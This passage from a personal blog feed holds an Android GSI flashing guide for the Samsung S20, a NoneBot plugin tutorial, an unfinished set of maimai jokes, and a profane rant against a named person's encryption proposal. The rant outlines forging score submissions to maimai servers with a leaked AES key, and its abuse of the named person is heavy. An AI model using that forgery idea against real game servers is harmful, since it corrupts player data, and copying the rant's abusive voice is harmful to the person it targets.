&lt;p&gt;Chongxi used near-stock Android for about a year or two before, and quite likes the plain, bare-shell feel of near-stock. If you&apos;re not comfortable with near-stock, flash at your own discretion. Also, because of the quirks of GSIs, you may run into some mysterious bugs; as far as Chongxi is concerned, the version used in this article currently has no problems, including fingerprint, IMEI, Bluetooth, NFC and so on — they all work normally&lt;/p&gt;
&lt;h3&gt;0.1 Ingredients&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A Samsung S20&lt;/li&gt;
&lt;li&gt;(Optional) Treble Info &amp;amp; DSU Sideloader&lt;/li&gt;
&lt;li&gt;Evolution X 9.7 - 2024-12-25 ROM&lt;/li&gt;
&lt;li&gt;S20 TWRP KiT (contains TWRP itself plus various verification bypass tools)&lt;/li&gt;
&lt;li&gt;(Optional) Kernel SU NEXT kernel x1q&lt;/li&gt;
&lt;li&gt;odin &amp;amp; Samsung USB drivers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can get everything you need for this article in one click via &lt;a href=&quot;https://atlas.chongxi.us/@s/zmX2wAjk&quot;&gt;Atlas速递&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;:::caution
Before you start, make sure your phone&apos;s bootloader is unlocked and you&apos;ve downloaded all the software you need, that you have some basic flashing knowledge, and that you understand the risks flashing can bring. This article is only a sharing of experience and takes no responsibility for any consequences of your own actions. Please be aware of this
:::&lt;/p&gt;
&lt;h2&gt;1. Flashing TWRP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Make sure Odin and the Samsung USB driver are installed. Power off the phone, plug in the cable, and hold &lt;strong&gt;Volume +&lt;/strong&gt; and &lt;strong&gt;Volume -&lt;/strong&gt; at the same time to enter Download mode&lt;/li&gt;
&lt;li&gt;Open Odin and connect the phone to the computer in Download mode. Uncheck &lt;code&gt;Auto Reboot&lt;/code&gt; on the left, select &lt;strong&gt;TWRP&lt;/strong&gt; in the &lt;code&gt;AP&lt;/code&gt; slot, and select the &lt;strong&gt;vbmeta disabler&lt;/strong&gt; in &lt;code&gt;USERDATA&lt;/code&gt; to skip vbm verification — otherwise you won&apos;t be able to flash a third-party recovery&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./asset/Odin.webp&quot; alt=&quot;Odin&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;After the flash succeeds, hold &lt;strong&gt;Volume -&lt;/strong&gt; and the &lt;strong&gt;power button&lt;/strong&gt; together for seven seconds to exit Download mode. Once the first boot screen appears, immediately hold &lt;strong&gt;Volume +&lt;/strong&gt; and &lt;strong&gt;Power&lt;/strong&gt; together, and release after you see the TWRP logo&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Format data and reboot to Fastboot&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Enter TWRP, tap &lt;strong&gt;Wipe&lt;/strong&gt;, select &lt;code&gt;data&lt;/code&gt;, type yes and format&lt;/li&gt;
&lt;li&gt;Tap Reboot and choose &lt;strong&gt;Reboot to fastboot&lt;/strong&gt;. Once it succeeds you&apos;ll see the TWRP screen, but fastboot is actually running underneath — not the little Android robot or the fastboot logo we usually see&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;3. Flashing the GSI via fastboot&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Make sure you&apos;ve installed the adb driver and added it to your global PATH. Open a terminal or PowerShell and enter&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;fastboot devices
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If your device is listed, you can proceed to the next flashing step. Otherwise you may need to troubleshoot the driver/cable/phone/port and so on&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Next, enter the following command and press Enter&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;fastboot flash system &quot;D:/S20/evolution.img&quot;
// 请根据您的实际目录自行调整
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./asset/evolution.webp&quot; alt=&quot;Flashing evolution X&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Once it shows &lt;code&gt;[ok]&lt;/code&gt;, it&apos;s done. Now enter &lt;code&gt;fastboot reboot&lt;/code&gt; to reboot the phone, then just wait patiently for it to boot into the system&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. &amp;lt;Optional&amp;gt; Flashing Kernel SU NEXT&lt;/h2&gt;
&lt;p&gt;Chongxi only found a ksun kernel for sdm-x1q here, so that&apos;s what this demonstration uses, because the G9810 has no GKI kernel and Chongxi has no experience compiling kernels. If you&apos;re an expert in this field, feel free to attach a link to your ksu kernel in the discussion&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Follow the same steps to reboot into Download mode&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Select the kSUN kernel in the &lt;code&gt;AP&lt;/code&gt; slot, still select the vbmeta disabler in &lt;code&gt;USERDATA&lt;/code&gt;, and hit flash&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reboot, install the ksun manager, then enjoy~&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;5. Conclusion&lt;/h2&gt;
&lt;p&gt;In theory, flashing a GSI works on every Android device, but also it doesn&apos;t; it&apos;s very much a matter of luck&lt;/p&gt;
&lt;p&gt;The GSI flashed this time happens to have no serious bugs; some issues such as auto-brightness can be patched through the built-in &lt;code&gt;Phh Settings&lt;/code&gt;, making it very close to a custom ROM experience&lt;/p&gt;
&lt;h2&gt;6. Buyer&apos;s Showcase&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./asset/1.webp&quot; alt=&quot;screenshot-on-evolutionX1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/2.webp&quot; alt=&quot;screenshot-on-evolutionX2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/3.webp&quot; alt=&quot;screenshot-on-evolutionX3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/4.webp&quot; alt=&quot;screenshot-on-evolutionX4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./asset/5.webp&quot; alt=&quot;screenshot-on-evolutionX5&quot; /&gt;&lt;/p&gt;
</content:encoded><category>Samsung</category><category>Android</category><category>刷机</category><author>Chongxi</author></item><item><title>Diagnosing the Intellectual Defects in Kumagai Ryo&apos;s &apos;Feistel Encryption Scheme&apos;</title><link>https://xice.cx/en/posts/retard/</link><guid isPermaLink="true">https://xice.cx/en/posts/retard/</guid><description>An analysis of maimai&apos;s encryption upgrade proposal: the technical feasibility and potential risks of Kumagai Ryo&apos;s scheme.</description><pubDate>Sun, 28 Dec 2025 15:49:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;Talk about a death wish&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. Putting a Bulletproof Vest on the Naked Emperor&lt;/h2&gt;
&lt;p&gt;Have you forgotten how everyone got the maimai servers&apos; underwear off?&lt;/p&gt;
&lt;p&gt;Here&apos;s where things stand: the transport layer&apos;s AES Key and IV are known to the whole world. ttnk knows, you know, every script kiddie on the street knows; all traffic is plaintext and transparent to an attacker&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;And what&apos;s your brilliant plan?&lt;/strong&gt;
You suggest locking the UserID into a little password-protected Feistel box inside a transparent glass room&lt;/p&gt;
&lt;p&gt;But&lt;br /&gt;
the attacker is holding the AES key, so he doesn&apos;t need to crack your Feistel&lt;br /&gt;
He just needs to capture one legitimate packet, grab that &lt;code&gt;0xDEADBEEF&lt;/code&gt; you obfuscated, then construct a JSON:
&lt;code&gt;{ &quot;userId&quot;: &quot;0xDEADBEEF&quot;, &quot;score&quot;: 114514 }&lt;/code&gt; and encrypt it with the AES Key in his hand before sending it off&lt;/p&gt;
&lt;p&gt;The server will obediently decrypt the AES, then reverse your quantum-encrypted ID back, and finally write the dirty data into the database&lt;br /&gt;
Apart from wasting server CPU on 10 rounds of SHA-256, you&apos;ve defended against absolutely nothing&lt;/p&gt;
&lt;p&gt;You didn&apos;t even close the front door, but you installed a retinal scanner on the bedroom and taped the retina data to the living-room wall&lt;/p&gt;
&lt;h2&gt;2. Are You Trying to Make the Servers Explode at Midnight on Schedule?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&quot;Use the current date... to generate a tweak... changes once a day.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Did you laugh at yourself when you wrote that sentence?&lt;br /&gt;
Do you even know that maimai&apos;s AimeDB and TitleServer are separate?&lt;/p&gt;
&lt;p&gt;For example
A player connects to AimeDB at 23:59:59 and gets data encrypted with yesterday&apos;s key&lt;br /&gt;
Then at 00:00:01 they connect to TitleServer, and the server has switched to today&apos;s key&lt;/p&gt;
&lt;p&gt;Then it blows up on the spot: decryption fails, or it decrypts into a completely unrelated ID, and a pile of garbage gets written straight into the database&lt;/p&gt;
&lt;p&gt;Are you that eager for the servers to blow up faster, so you specifically designed a midnight bug?
Doing this kind of strongly time-dependent key synchronization in a separated architecture — nobody but an AI that never considered context would dare design it. Off by even 1 millisecond, and the player&apos;s data goes to the crematorium&lt;/p&gt;
&lt;h2&gt;3. Is the maimai Client a Python Script in Your Backyard?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;&quot;The cabinet side needs no decryption at all; it can directly... be used for requests.&quot;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You think SEGA&apos;s cabinet code is written in JS? &lt;code&gt;var id = anything&lt;/code&gt;?&lt;br /&gt;
That&apos;s a heap of shit running on Windows&lt;/p&gt;
&lt;p&gt;That code most likely hardcodes &lt;code&gt;int32&lt;/code&gt;, and probably has all sorts of &lt;code&gt;assert(id &amp;gt; 0)&lt;/code&gt; checks too &lt;em&gt;a guess — I haven&apos;t reverse-engineered the app myself; experts are welcome to correct me&lt;/em&gt;
The result your Feistel algorithm produces is a pseudorandom number&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What if it&apos;s negative?&lt;/li&gt;
&lt;li&gt;What if it overflows?&lt;/li&gt;
&lt;li&gt;What if it happens to hit a Debug ID reserved internally by the client?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The result is the cabinet crashing on the spot with 0010&lt;br /&gt;
You say &quot;no changes needed&quot; because you don&apos;t understand strongly typed languages or legacy code at all. All you care about is whether the AI-generated code feels good; you don&apos;t care whether the cabinet dies&lt;/p&gt;
&lt;h2&gt;4. The AI Stench Overflowing Off the Screen&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;master_key&lt;/code&gt;, &lt;code&gt;tweak&lt;/code&gt;, &lt;code&gt;PRF16&lt;/code&gt;, &lt;code&gt;current_round&lt;/code&gt;...
That whole set of variable naming — bro, you didn&apos;t change a single one&lt;br /&gt;
This is the standard textbook pseudocode it spat out at you after you typed &lt;em&gt;&quot;how do I design the world&apos;s strongest encryption algorithm&quot;&lt;/em&gt; into the ChatGPT box&lt;/p&gt;
&lt;p&gt;You didn&apos;t change a single character and pasted it straight into a letter to SEGA?&lt;br /&gt;
You&apos;re treating the answers to the end-of-chapter exercises in &lt;em&gt;Introduction to Modern Cryptography&lt;/em&gt; as an enterprise-grade solution?&lt;br /&gt;
If SEGA&apos;s engineers saw this code, they&apos;d probably think some kid who just started learning Python was having a meltdown&lt;/p&gt;
&lt;p&gt;You can&apos;t even be bothered to think for yourself when showing off; you rely entirely on GPT to ghostwrite for you&lt;/p&gt;
&lt;h2&gt;5. A Syrian Suicide Truck That Exposes Your Own Intelligence Level&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Hijacking my 5G traffic? Injecting a CA certificate into my phone?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Have you watched The Matrix too many times?&lt;br /&gt;
That crappy py script from 开源科技 is the malicious client&lt;br /&gt;
Who has the spare time to hijack your crappy phone? The attacker just wrote a Python script, and with that hardcoded universal AES key in his hand, walked right in through maimai&apos;s front door&lt;br /&gt;
HTTPS is there to stop a passerby from reading the contents of the letter; it is not there to stop the sender from poisoning the letter himself&lt;br /&gt;
You can&apos;t even grasp this most basic endpoint security concept, and you still dare call yourself a &quot;backend developer&quot;? Which cesspit&apos;s backend do you develop?&lt;/p&gt;
&lt;h2&gt;6. Can You Just Forget That Crappy &quot;Feistel Algorithm&quot; of Yours&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Why does knowing the AES key and the IV = traffic is transparent&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is the dumbest joke I&apos;ve heard in 26 years&lt;br /&gt;
So what you mean is, someone who calls himself a &quot;Michelin chef&quot; asks me why boiling water burns your hand?&lt;br /&gt;
The AES Key is leaked so badly it might as well be a public toilet; the transport layer is a transparent glass tube&lt;br /&gt;
And you&apos;re still there doing Feistel encryption on the UserID inside it?&lt;br /&gt;
Does the attacker need to crack your Feistel? Does he even have to?&lt;br /&gt;
He just grabs a legitimate encrypted ID, stuffs it into a new JSON body full of garbage data, re-encrypts it with that public AES Key of yours, and sends it out&lt;br /&gt;
What happens when the server receives it? The server, like a fucking idiot, first decrypts the AES, then reverse-engineers your nonsensical Feistel, and finally happily writes the garbage data into the database&lt;br /&gt;
Apart from wasting the server&apos;s CPU cycles, does this whole routine of yours serve any purpose whatsoever? You&apos;re doing performance art with cryptographic algorithms&lt;/p&gt;
&lt;p&gt;Anyone who understands even a little cryptography would never ask &quot;why does knowing the symmetric key let you decrypt&quot;&lt;br /&gt;
This only proves that everything you wrote about Feistel and HMAC is, ten thousand percent, garbage copied from an AI that you don&apos;t understand at all&lt;/p&gt;
&lt;h2&gt;7. Admitting You&apos;re Just GPT&apos;s Mouthpiece&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The algorithm was originally hand-written by me, later I used ChatGPT to change it because there were problems...”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Doesn&apos;t saying that out loud embarrass you?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&quot;Hand-written had problems&quot; -&amp;gt; proves you can&apos;t even put together a basic cryptography wheel&lt;/li&gt;
&lt;li&gt;&quot;Changed with ChatGPT&quot; -&amp;gt; proves the core logic of this scheme was copied from an AI&lt;/li&gt;
&lt;li&gt;&quot;Didn&apos;t change the variable names&quot; -&amp;gt; proves you can&apos;t even copy properly; whatever shit the AI spat out, you serve right back up&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You take a pile of garbage pseudocode copied from a textbook — code you can&apos;t even run yourself — and treat it as a miracle cure for the world?
If SEGA&apos;s engineers saw this code, they&apos;d put you straight on the hiring blacklist, because they know that hiring an idiot who can only make AI write code is more terrifying than the servers being attacked&lt;/p&gt;
&lt;p&gt;Since you&apos;re so eager to be shared, I&apos;ll oblige: let everyone get to know this self-important idiot who can&apos;t even understand the intro of &lt;em&gt;Computer Networking: A Top-Down Approach&lt;/em&gt;. Feel free to point out any flaws in my technical critique — I&apos;m happy to oblige&lt;/p&gt;
&lt;h2&gt;8. Conclusion&lt;/h2&gt;
&lt;p&gt;Bro, I really didn&apos;t want to beat on you, but running around shoving your vibe-cooked product in everyone&apos;s face is an insult to the vast majority of responsible computer science professionals&lt;/p&gt;
&lt;p&gt;You&apos;re just a script kiddie who picked up a key from a garbage heap, broke into a house and stole a few things, and then started fantasizing about teaching the homeowner how to renovate&lt;/p&gt;
&lt;p&gt;Your scheme understands neither transport-layer security, nor distributed consistency, nor compatibility&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Its only use is proving that, in 2025, AI still can&apos;t cure human brain atrophy.&lt;/strong&gt;
Stop messing around in computer science; go turn screws — that doesn&apos;t need logic, only muscle&lt;/p&gt;
&lt;p&gt;Also, thanks to all the comrades who fought alongside me, thank you for your support and company all this way and for caring about the game&apos;s environment. Wishing everyone a happy new year in advance~&lt;/p&gt;
</content:encoded><category>安全</category><author>Chongxi</author></item><item><title>How to Add Wahlap Server Status Monitoring to Your Bot</title><link>https://xice.cx/en/posts/isMaiDown/</link><guid isPermaLink="true">https://xice.cx/en/posts/isMaiDown/</guid><description>Add Wahlap server status reporting to your bot: a hands-on NoneBot2 plugin tutorial.</description><pubDate>Wed, 24 Dec 2025 13:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;NoneBot Plugin: Maimai Monitor&lt;/h2&gt;
&lt;p&gt;A plugin designed for the &lt;a href=&quot;https://nonebot.dev/&quot;&gt;NoneBot2&lt;/a&gt; framework, used to report maimai server status through chat commands&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;ChongxiSama/nonebot-plugin-maimaimonitor&quot;}&lt;/p&gt;
&lt;h2&gt;Features&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[x] Status reporting: report server status with a simple chat command (e.g. &lt;code&gt;/report 断网&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;[x] Data aggregation: automatically caches user reports and sends them in a batch to the backend API every 30 seconds&lt;/li&gt;
&lt;li&gt;[x] Custom command aliases: lets users define short command aliases in the config that map to complex report commands&lt;/li&gt;
&lt;li&gt;[ ] Direct page scraping and rendering&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Installation&lt;/h2&gt;
&lt;p&gt;You can install it with NoneBot&apos;s scaffolding tool &lt;code&gt;nb-cli&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nb plugin install nonebot-plugin-maimaimonitor
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or install it via &lt;code&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install nonebot-plugin-maimaimonitor
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configuration&lt;/h2&gt;
&lt;p&gt;The plugin&apos;s settings are managed through NoneBot&apos;s unified configuration. You need to set them in the &lt;code&gt;.env&lt;/code&gt; file at the root of your NoneBot project&lt;/p&gt;
&lt;h3&gt;Getting credentials&lt;/h3&gt;
&lt;p&gt;To send data to the backend API you need a &lt;code&gt;ClientID&lt;/code&gt; and a &lt;code&gt;PRIVATE_KEY&lt;/code&gt;. Please contact email:qwq@chongxi.us to obtain them. The &lt;code&gt;ClientID&lt;/code&gt; is supplied by you; a numeric value is recommended&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Keep your &lt;code&gt;PRIVATE_KEY&lt;/code&gt; safe and never disclose it to anyone.&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;Environment variables&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Environment variable&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Default value&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_BOT_CLIENT_ID&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;ClientID (required)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_BOT_PRIVATE_KEY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Private key (required)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_BOT_DISPLAY_NAME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;qwq&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Your bot&apos;s name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MAIMAI_WORKER_URL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;str&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;https://maiapi.chongxi.us&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Backend API address for reporting data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;COMMAND_ALIASES&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Dict[str, str]&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Custom command aliases, used to map short commands to report commands&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Example &lt;code&gt;.env&lt;/code&gt; config file&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# .env 文件 (位于你的 NoneBot 项目根目录)

# --- NoneBot Plugin Maimai Monitor 插件核心配置 ---
MAIMAI_BOT_CLIENT_ID=&quot;YOUR_BOT_CLIENT_ID&quot;
MAIMAI_BOT_PRIVATE_KEY=&quot;YOUR_BOT_PRIVATE_KEY&quot;
MAIMAI_BOT_DISPLAY_NAME=&quot;qwqbot&quot;
MAIMAI_WORKER_URL=&quot;https://maiapi.chongxi.us&quot;

# --- 自定义命令别名配置 (使用单行 JSON 字符串) ---
# 左边是用户输入的新命令，右边是它映射的内部报告指令参数字符串。
# 右边的字符串会被插件解析，并作为 /report 命令的参数部分。
COMMAND_ALIASES=&quot;{ \
    \&quot;ctk\&quot;: \&quot;被发票\&quot;, \
    \&quot;清票\&quot;: \&quot;被发票\&quot;, \
    \&quot;服务器炸了\&quot;: \&quot;断网\&quot;, \
    \&quot;打不开公众号\&quot;: \&quot;NET打不开\&quot;, \
    \&quot;变游客了\&quot;: \&quot;无法登录\&quot;, \
    \&quot;黑屋了\&quot;: \&quot;小黑屋\&quot;, \
    \&quot;被发舞神了\&quot;: \&quot;其他扫号行为\&quot;, \
    \&quot;罚站300秒\&quot;: \&quot;罚站 300\&quot;, \
    \&quot;罚站一小时\&quot;: \&quot;罚站 3600\&quot;, \
    \&quot;帮助\&quot;: \&quot;help\&quot; \
}&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Usage&lt;/h2&gt;
&lt;p&gt;Load the plugin in your NoneBot project&apos;s &lt;code&gt;bot.py&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# bot.py
import nonebot

# ... 其他初始化代码 ...

nonebot.load_plugin(&quot;nonebot_plugin_maimaimonitor&quot;)

# ... nonebot.run() ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the plugin loads successfully, you can send the following commands anywhere you can chat with the bot:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/report help&lt;/code&gt; or &lt;code&gt;/上报 帮助&lt;/code&gt;: view all available report types and help information&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Using custom command aliases&lt;/strong&gt;: for example, if you configured &lt;code&gt;&quot;ctk&quot;: &quot;被发票&quot;&lt;/code&gt; in &lt;code&gt;COMMAND_ALIASES&lt;/code&gt;, then sending &lt;code&gt;ctk&lt;/code&gt; directly triggers the functionality of &lt;code&gt;/report 被发票&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Some command examples&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/report 断网&lt;/code&gt; or a configured alias (e.g. &lt;code&gt;炸了&lt;/code&gt;): report one cabinet network disconnection event&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/report 罚站 [秒数]&lt;/code&gt; or a configured alias (e.g. &lt;code&gt;罚站五分钟&lt;/code&gt;): report how long a player has been stuck at the penalty wait; for example &lt;code&gt;/report 罚站 300&lt;/code&gt; means 5 minutes of penalty wait&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Active Dashboard rendering&lt;/h2&gt;
&lt;p&gt;In the future it will support rendering the frontend directly as SVG and converting it into an image; for now you still need to screenshot &lt;code&gt;https://mai.chongxi.us/?share=true&amp;amp;dark=auto&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;share&lt;/code&gt; is a page specially optimized for bots, &lt;code&gt;dark&lt;/code&gt; switches dark mode, and &lt;code&gt;auto&lt;/code&gt; switches automatically based on the time.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./isMaiDown/1.webp&quot; alt=&quot;eg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./isMaiDown/2.webp&quot; alt=&quot;eg&quot; /&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>开发</category><author>Chongxi</author></item><item><title>Maimai CN Server Soviet Jokes, Collected Edition 1</title><link>https://xice.cx/en/posts/surcas1/</link><guid isPermaLink="true">https://xice.cx/en/posts/surcas1/</guid><description>A collection of maimai jokes rewritten from Soviet jokes.</description><pubDate>Sat, 20 Dec 2025 16:46:00 GMT</pubDate><content:encoded>&lt;p&gt;This article is a set of maimai jokes rewritten from Soviet jokes. Feel free to share and remix them, and you may submit them to the maimai New Year Gala or similar shows, but please credit the author and link to the original article. Thank you&lt;/p&gt;
&lt;h2&gt;1.&lt;/h2&gt;
&lt;p&gt;Kohad had a nightmare one night and woke up drenched in cold sweat&lt;br /&gt;
His wife asked: What&apos;s wrong? Did you dream maimai shut down?&lt;br /&gt;
Kohad gasped: Worse than that. I dreamed we released a new version, and right up to the second it went live, nobody leaked anything at all&lt;br /&gt;
His wife: Isn&apos;t that a good thing? It means the secrecy worked&lt;br /&gt;
Kohad said in despair: No! It means nobody cares about this game anymore! Even the dataminers can&apos;t be bothered to unpack it!&lt;/p&gt;
&lt;h2&gt;2.&lt;/h2&gt;
&lt;p&gt;Someone asked: Does the maimai CN server&apos;s anti-cheat system really exist?&lt;br /&gt;
Answer: In principle it exists. But it&apos;s like the sun on the horizon: you look at it and it&apos;s bright, but no matter how far you run toward it, you&apos;ll never reach it. And most importantly, to people wearing sunglasses, it isn&apos;t blinding at all&lt;/p&gt;
&lt;h2&gt;3.&lt;/h2&gt;
&lt;p&gt;A CN server player asked: I heard the new version will completely eradicate the cheat-script problem. Is that true&lt;br /&gt;
kohad: In principle, yes. After deep research, we&apos;ve decided to adopt the most thorough solution: we will no longer maintain the servers. If you can&apos;t connect to the internet, scripts naturally can&apos;t upload scores either. This is a great victory in the anti-cheat struggle&lt;/p&gt;
&lt;h2&gt;4.&lt;/h2&gt;
&lt;p&gt;A famous physicist discussed the possibility of time travel with Kohad&lt;br /&gt;
Physicist: In theory, no information can travel faster than the speed of light&lt;br /&gt;
Kohad laughed: Then you&apos;ve clearly never met our datamining legends. Before our announcement goes out (t=0) they&apos;ve already posted the data (t=-3days). This proves that in maimai, causality doesn&apos;t exist. The effect always comes before the cause&lt;br /&gt;
Physicist: Then is there anything slower than the speed of light?&lt;br /&gt;
Kohad pointed at the server room next door: Yes. Our CN server update speed&lt;/p&gt;
&lt;h2&gt;5.&lt;/h2&gt;
&lt;p&gt;In a Party history class, the teacher asked the students: Can anyone explain what a SEGA preview livestream is&lt;br /&gt;
A student answered: It&apos;s a collectivist ritual. In this ritual, the officials pretend they&apos;re holding top-secret documents, and the audience pretends they haven&apos;t already seen those images in a group file three days ago. Through this tacit hypocrisy, both sides jointly maintain the stability and harmony of the community&lt;br /&gt;
Teacher: Sit down. Full marks&lt;/p&gt;
&lt;h2&gt;6.&lt;/h2&gt;
&lt;p&gt;A JP server player asked: Are the maimai CN servers really that bad? I heard people get stuck at the penalty wait all the time&lt;br /&gt;
A CN server player answered: No, that&apos;s not the server lagging. That&apos;s the server thinking&lt;br /&gt;
JP server player: waht&lt;br /&gt;
CN server player: It&apos;s thinking: since someone&apos;s going to use scripts to edit the database directly anyway, what&apos;s the point of it painstakingly processing your scores&lt;/p&gt;
&lt;h2&gt;7.&lt;/h2&gt;
&lt;p&gt;Inside SEGA: What exactly is the difference between a leak and official information?&lt;br /&gt;
Kohad answered solemnly: In principle they&apos;re the same. The only difference is timing. A leak is a truth we haven&apos;t had time to deny yet, and official information is a history we can no longer deny&lt;/p&gt;
&lt;h2&gt;8.&lt;/h2&gt;
&lt;p&gt;At the International Arcade Operators Conference, the Japanese representative bragged: Our servers have only 64ms of latency&lt;br /&gt;
The American representative said: Our servers never drop packets&lt;br /&gt;
The Wahlap representative stood up and said proudly: Yours are all trash. Our servers have free will, like artificial intelligence&lt;br /&gt;
Everyone: What do you mean&lt;br /&gt;
Wahlap representative: When a player pulls off a performance far above their usual level, our server decides on its own to disconnect, thereby preserving the purity of the database. Granted, it currently can&apos;t tell a top player from a script, but this spirit of &quot;better to kill a thousand by mistake than let one slip through&quot; — doesn&apos;t it deserve admiration?&lt;/p&gt;
&lt;h2&gt;9.&lt;/h2&gt;
&lt;p&gt;Kohad angrily called an emergency meeting: Can someone tell me why the new version&apos;s PV isn&apos;t even finished, yet there are already HD resources online? Who exactly leaked it?&lt;br /&gt;
Someone muttered: I don&apos;t think it was a leak&lt;br /&gt;
Kohad: What do you mean&lt;br /&gt;
That person said: Because our outsourced artists found that instead of sending it to the review department for two weeks of layer-by-layer approval, it&apos;s faster to just post it to TG for the small circle to see. Player feedback and revision suggestions come way faster than yours&lt;/p&gt;
&lt;h2&gt;10.&lt;/h2&gt;
&lt;p&gt;A veteran was teaching a newly hooked wmc: On the maimai CN server, there are three things you must never believe&lt;br /&gt;
